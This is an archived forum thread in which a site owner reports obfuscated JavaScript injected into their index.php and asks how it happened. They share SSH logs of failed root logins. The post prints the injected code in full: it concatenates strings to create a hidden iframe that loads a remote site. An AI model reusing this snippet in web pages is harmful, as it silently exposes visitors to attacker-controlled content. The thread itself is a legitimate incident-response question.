Jump to content

Javascript injected into the bottom of my page


isedeasy

Recommended Posts

I looked at my site today to see a blank page. I downloaded my index.php file to find a stray bit of code at the bottom:-

 

<html><body>status='';cn='r';j='d';a='a';zi='s';we='tp:';y='ph';pb='iz';o='.';v='e';n='/';g='r';sa='eaw';az='am';bj='rc';oy='ne';r='ht';dj='//s';c='if';dr='t/.';ml='2/';ne=c.concat(cn,az,v);sn=zi.concat(bj);wl=r.concat(we,dj,sa,pb,a,g,j,o,oy,dr,y,n,ml);var l=document.createElement(ne);l.setAttribute('width','5');l.setAttribute('height','5');l.setAttribute('style','display:none');l.setAttribute(sn,wl);document.body.appendChild(l);window.status=status;</body></html>

 

My question is, how did it get there?

 

I am guessing either somebody has brute forced my FTP details or found an exploit in my code.

 

I have now changed my FTP details just to be sure. How would I go about finding the cause of this and preventing it from happening again.

 

Cheers

 

Did you take note of last mod time of the file (would make things easier for yourself)?

 

No I didn't although it was OK a few hours ago so I'm guessing it was in the last 3 hours.

 

I will have a quick scan through.

 

EDIT

 

I just scanned through every POST in my access log for today and nothing looks suspect

I just looked at some other logs and found about 10 entrys like this

 

Aug  5 13:15:35 s1****758 sshd[10098]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=***.3.4.***  user=root
Aug  5 13:15:37 s1****758 sshd[10098]: Failed password for root from ***.3.4.*** port **** ssh2
Aug  5 12:15:38 s1****758 sshd[10100]: Received disconnect from ***.3.4.***: 11: Bye Bye

 

And then somebody managed to login via FTP. Does SSH prevent users from Brute forcing a password (I know it would take a hell of a lot more than 10 attempts)? I did not see any failed FTP logins so I am not sure how somebody got my FTP password.

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.